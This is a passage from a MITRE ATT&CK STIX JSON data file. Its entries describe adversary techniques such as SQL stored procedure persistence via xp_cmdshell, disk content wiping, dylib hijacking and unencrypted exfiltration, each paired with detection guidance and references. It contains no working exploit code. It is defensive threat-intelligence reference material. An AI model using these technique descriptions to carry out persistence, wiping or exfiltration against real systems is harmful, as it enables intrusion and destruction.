            "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.4",
            "x_mitre_data_sources": [
                "Domain Name: Passive DNS",
                "Domain Name: Domain Registration",
                "Domain Name: Active DNS"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f9e9365a-9ca2-4d9c-8e7c-050d73d1101a",
            "created": "2019-12-12T14:59:58.168Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1505/001",
                    "external_id": "T1505.001"
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                {
                    "source_name": "Microsoft CLR Integration 2017",
                    "description": "Microsoft. (2017, June 19). Common Language Runtime Integration. Retrieved July 8, 2019.",
                    "url": "https://docs.microsoft.com/en-us/sql/relational-databases/clr-integration/common-language-runtime-integration-overview?view=sql-server-2017"
                },
                {
                    "source_name": "Microsoft xp_cmdshell 2017",
                    "description": "Microsoft. (2017, March 15). xp_cmdshell (Transact-SQL). Retrieved September 9, 2019.",
                    "url": "https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-2017"
                },
                {
                    "source_name": "Kaspersky MSSQL Aug 2019",
                    "description": "Plakhov, A., Sitchikhin, D. (2019, August 22). Agent 1433: remote attack on Microsoft SQL Server. Retrieved September 4, 2019.",
                    "url": "https://securelist.com/malicious-tasks-in-ms-sql-server/92167/"
                },
                {
                    "source_name": "NetSPI Startup Stored Procedures",
                    "description": "Sutherland, S. (2016, March 7). Maintaining Persistence via SQL Server \u2013 Part 1: Startup Stored Procedures. Retrieved September 12, 2024.",
                    "url": "https://www.netspi.com/blog/technical-blog/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/"
                },
                {
                    "source_name": "NetSPI SQL Server CLR",
                    "description": "Sutherland, S. (2017, July 13). Attacking SQL Server CLR Assemblies. Retrieved September 12, 2024.",
                    "url": "https://www.netspi.com/blog/technical-blog/adversary-simulation/attacking-sql-server-clr-assemblies/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T23:02:13.653Z",
            "name": "SQL Stored Procedures",
            "description": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019) To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server.(Citation: NetSPI Startup Stored Procedures)(Citation: Kaspersky MSSQL Aug 2019)(Citation: Microsoft xp_cmdshell 2017) \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.).(Citation: Microsoft CLR Integration 2017) Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.(Citation: NetSPI SQL Server CLR) ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Carlos Borges, @huntingneo, CIP",
                "Lucas da Silva Pereira, @vulcanunsec, CIP",
                "Kaspersky"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "On a MSSQL Server, consider monitoring for xp_cmdshell usage.(Citation: NetSPI Startup Stored Procedures) Consider enabling audit features that can log malicious startup activities.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fa44a152-ac48-441e-a524-dd7b04b8adcd",
            "created": "2020-10-19T17:58:04.155Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1556/004",
                    "external_id": "T1556.004"
                },
                {
                    "source_name": "Mandiant - Synful Knock",
                    "description": "Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Image File Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
                },
                {
                    "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
                    "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#13"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T21:40:12.055Z",
            "name": "Network Device Authentication",
            "description": "Adversaries may use [Patch System Image](https://attack.mitre.org/techniques/T1601/001) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\n[Modify System Image](https://attack.mitre.org/techniques/T1601) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: Mandiant - Synful Knock)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider verifying the checksum of the operating system file and verifying the image of the operating system in memory.(Citation: Cisco IOS Software Integrity Assurance - Image File Verification)(Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nDetection of this behavior may be difficult, detection efforts may be focused on closely related adversary behaviors, such as [Modify System Image](https://attack.mitre.org/techniques/T1601).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Network Devices"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac",
            "created": "2020-02-20T22:06:41.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1561/001",
                    "external_id": "T1561.001"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20160303200515/https:/operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
                {
                    "source_name": "Microsoft Sysmon v6 May 2017",
                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:23.834Z",
            "name": "Disk Content Wipe",
            "description": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have also been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the <code>\\\\\\\\.\\\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.\n\nFor network infrastructure devices, collect AAA logging to monitor for `erase` commands that delete critical configuration files.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Network Devices",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_impact_type": [
                "Availability"
            ],
            "x_mitre_data_sources": [
                "Drive: Drive Modification",
                "Drive: Drive Access",
                "Driver: Driver Load",
                "Command: Command Execution",
                "Process: Process Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fb75213f-cfb0-40bf-a02f-3bad93d6601e",
            "created": "2024-08-30T13:50:42.023Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1213/005",
                    "external_id": "T1213.005"
                },
                {
                    "source_name": "Sentinel Labs NullBulge 2024",
                    "description": " Jim Walter. (2024, July 16). NullBulge | Threat Actor Masquerades as Hacktivist Group Rebelling Against AI. Retrieved August 30, 2024.",
                    "url": "https://www.sentinelone.com/labs/nullbulge-threat-actor-masquerades-as-hacktivist-group-rebelling-against-ai/"
                },
                {
                    "source_name": "Permiso Scattered Spider 2023",
                    "description": "Ian Ahl. (2023, September 20). LUCR-3: SCATTERED SPIDER GETTING SAAS-Y IN THE CLOUD. Retrieved September 25, 2023.",
                    "url": "https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud"
                },
                {
                    "source_name": "SC Magazine Ragnar Locker 2021",
                    "description": "Joe Uchill. (2021, December 3). Ragnar Locker reminds breach victims it can read the on-network incident response chat rooms. Retrieved August 30, 2024.",
                    "url": "https://www.scmagazine.com/analysis/ragnar-locker-reminds-breach-victims-it-can-read-the-on-network-incident-response-chat-rooms"
                },
                {
                    "source_name": "Guardian Grand Theft Auto Leak 2022",
                    "description": "Keza MacDonald, Keith Stuart and Alex Hern. (2022, September 19). Grand Theft Auto 6 leak: who hacked Rockstar and what was stolen?. Retrieved August 30, 2024.",
                    "url": "https://www.theguardian.com/games/2022/sep/19/grand-theft-auto-6-leak-who-hacked-rockstar-and-what-was-stolen"
                },
                {
                    "source_name": "Microsoft DEV-0537",
                    "description": "Microsoft. (2022, March 22). DEV-0537 criminal actor targeting organizations for data exfiltration and destruction. Retrieved March 23, 2022.",
                    "url": "https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:48:58.763Z",
            "name": "Messaging Applications",
            "description": "Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information.  \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: \n\n* Testing / development credentials (i.e., [Chat Messages](https://attack.mitre.org/techniques/T1552/008)) \n* Source code snippets \n* Links to network shares and other internal resources \n* Proprietary data(Citation: Guardian Grand Theft Auto Leak 2022)\n* Discussions about ongoing incident response efforts(Citation: SC Magazine Ragnar Locker 2021)(Citation: Microsoft DEV-0537)\n\nIn addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.(Citation: Sentinel Labs NullBulge 2024)(Citation: Permiso Scattered Spider 2023)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Menachem Goldstein",
                "Obsidian Security"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS",
                "Office Suite"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Application Log: Application Log Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b",
            "created": "2020-03-15T15:37:47.583Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1048/003",
                    "external_id": "T1048.003"
                },
                {
                    "source_name": "copy_cmd_cisco",
                    "description": "Cisco. (2022, August 16). copy - Cisco IOS Configuration Fundamentals Command Reference . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/C_commands.html#wp1068167689"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:24.041Z",
            "name": "Exfiltration Over Unencrypted Non-C2 Protocol",
            "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.(Citation: copy_cmd_cisco)\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) \n\nFor network infrastructure devices, collect AAA logging to monitor for `copy` commands being run to exfiltrate configuration files to non-standard destinations over unencrypted protocols such as TFTP.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "2.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "File: File Access",
                "Network Traffic: Network Traffic Content",
                "Command: Command Execution",
                "Network Traffic: Network Connection Creation"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fbd91bfc-75c2-4f0c-8116-3b4e722906b3",
            "created": "2025-03-04T18:29:33.850Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/015",
                    "external_id": "T1027.015"
                },
                {
                    "source_name": "Perception Point",
                    "description": "Arthur Vaiselbuh, Peleg Cabra. (2024, November 7). Evasive ZIP Concatenation: Trojan Targets Windows Users. Retrieved March 3, 2025.",
                    "url": "https://perception-point.io/blog/evasive-concatenated-zip-trojan-targets-windows-users/"
                },
                {
                    "source_name": "NTT Security Flagpro new December 2021",
                    "description": "Hada, H. (2021, December 28).  Flagpro The new malware used by BlackTech. Retrieved March 25, 2022.",
                    "url": "https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech"
                },
                {
                    "source_name": "The Hacker News",
                    "description": "Ravie Lakshmanan. (2023, April 5). Hackers Using Self-Extracting Archives Exploit for Stealthy Backdoor Attacks. Retrieved March 3, 2025.",
                    "url": "https://thehackernews.com/2023/04/hackers-using-self-extracting-archives.html"
                },
                {
                    "source_name": "Trustwave Pillowmint June 2020",
                    "description": "Trustwave SpiderLabs. (2020, June 22). Pillowmint: FIN7\u2019s Monkey Thief . Retrieved July 27, 2020.",
                    "url": "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:24.125Z",
            "name": "Compression",
            "description": "Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., [Fileless Storage](https://attack.mitre.org/techniques/T1027/011)).(Citation: Trustwave Pillowmint June 2020)\n\nIn order to further evade detection, adversaries may combine multiple ZIP files into one archive. This process of concatenation creates an archive that appears to be a single archive but in fact contains the central directories of the embedded archives. Some ZIP readers, such as 7zip, may not be able to identify concatenated ZIP files and miss the presence of the malicious payload.(Citation: Perception Point)\n\nFile archives may be sent as one [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) through email. Adversaries have sent malicious payloads as archived files to encourage the user to interact with and extract the malicious payload onto their system (i.e., [Malicious File](https://attack.mitre.org/techniques/T1204/002)).(Citation: NTT Security Flagpro new December 2021) However, some file compression tools, such as 7zip, can be used to produce self-extracting archives. Adversaries may send self-extracting archives to hide the functionality of their payload and launch it without requiring multiple actions from the user.(Citation: The Hacker News)\n\n[Compression](https://attack.mitre.org/techniques/T1027/015) may be used in combination with [Encrypted/Encoded File](https://attack.mitre.org/techniques/T1027/013) where compressed files are encrypted and password-protected.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Fernando Bacchin"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fc742192-19e3-466c-9eb5-964a97b29490",
            "created": "2020-03-16T15:23:30.896Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/004",
                    "external_id": "T1574.004"
                },
                {
                    "source_name": "MalwareUnicorn macOS Dylib Injection MachO",
                    "description": "Amanda Rousseau. (2020, April 4). MacOS Dylib Injection Workshop. Retrieved March 29, 2021.",
                    "url": "https://malwareunicorn.org/workshops/macos_dylib_injection.html#5"
                },
                {
                    "source_name": "Apple Developer Doco Archive Run-Path",
                    "description": "Apple Inc.. (2012, July 7). Run-Path Dependent Libraries. Retrieved March 31, 2021.",
                    "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/RunpathDependentLibraries.html"
                },
                {
                    "source_name": "Wardle Dylib Hijacking OSX 2015",
                    "description": "Patrick Wardle. (2015, March 1). Dylib Hijacking on OS X. Retrieved March 29, 2021.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/magazine/2015/vb201503-dylib-hijacking.pdf"
                },
                {
                    "source_name": "Writing Bad Malware for OSX",
                    "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.",
                    "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf"
                },
                {
                    "source_name": "Wardle Dylib Hijack Vulnerable Apps",
                    "description": "Patrick Wardle. (2019, July 2). Getting Root with Benign AppStore Apps. Retrieved March 31, 2021.",
                    "url": "https://objective-see.com/blog/blog_0x46.html"
                },
                {
                    "source_name": "wardle artofmalware volume1",
                    "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved November 17, 2024.",
                    "url": "https://taomm.org/vol1/read.html"
                },
                {
                    "source_name": "Github EmpireProject HijackScanner",
                    "description": "Wardle, P., Ross, C. (2017, September 21). Empire Project Dylib Hijack Vulnerability Scanner. Retrieved April 1, 2021.",
                    "url": "https://github.com/EmpireProject/Empire/blob/master/lib/modules/python/situational_awareness/host/osx/HijackScanner.py"
                },
                {
                    "source_name": "Github EmpireProject CreateHijacker Dylib",
                    "description": "Wardle, P., Ross, C. (2018, April 8). EmpireProject Create Dylib Hijacker. Retrieved April 1, 2021.",
                    "url": "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/lib/modules/python/persistence/osx/CreateHijacker.py"
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            ],
            "modified": "2025-04-15T19:59:24.300Z",
            "name": "Dylib Hijacking",
            "description": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation: wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection MachO)",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process. \n\nRun path dependent libraries can include <code>LC_LOAD_DYLIB</code>, <code>LC_LOAD_WEAK_DYLIB</code>, and <code>LC_RPATH</code>. Other special keywords are recognized by the macOS loader are <code>@rpath</code>, <code>@loader_path</code>, and <code>@executable_path</code>.(Citation: Apple Developer Doco Archive Run-Path) These loader instructions can be examined for individual binaries or frameworks using the <code>otool -l</code> command. Objective-See's Dylib Hijacking Scanner can be used to identify applications vulnerable to dylib hijacking.(Citation: Wardle Dylib Hijack Vulnerable Apps)(Citation: Github EmpireProject HijackScanner)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
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            "x_mitre_version": "2.1",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "File: File Creation",
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fc74ba38-dc98-461f-8611-b3dbf9978e3d",
            "created": "2020-10-19T19:53:10.576Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1601/002",
                    "external_id": "T1601.002"
                },
                {
                    "source_name": "Cisco Synful Knock Evolution",
                    "description": "Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020.",
                    "url": "https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices"
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            "modified": "2025-04-25T14:48:39.086Z",
            "name": "Downgrade System Image",
            "description": "Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)\n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading of a system image can be done on its own, or it can be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001).  ",
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                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Many embedded network devices provide a command to print the version of the currently running operating system.  Use this command to query the operating system for its version number and compare it to what is expected for the device in question.  Because image downgrade may be used in conjunction with [Patch System Image](https://attack.mitre.org/techniques/T1601/001), it may be appropriate to also verify the integrity of the vendor provided operating system image file. ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Modification"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--fdc47f44-dd32-4b99-af5f-209f556f63c2",
            "created": "2020-03-13T20:26:46.695Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1078/003",
                    "external_id": "T1078.003"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T19:59:24.607Z",
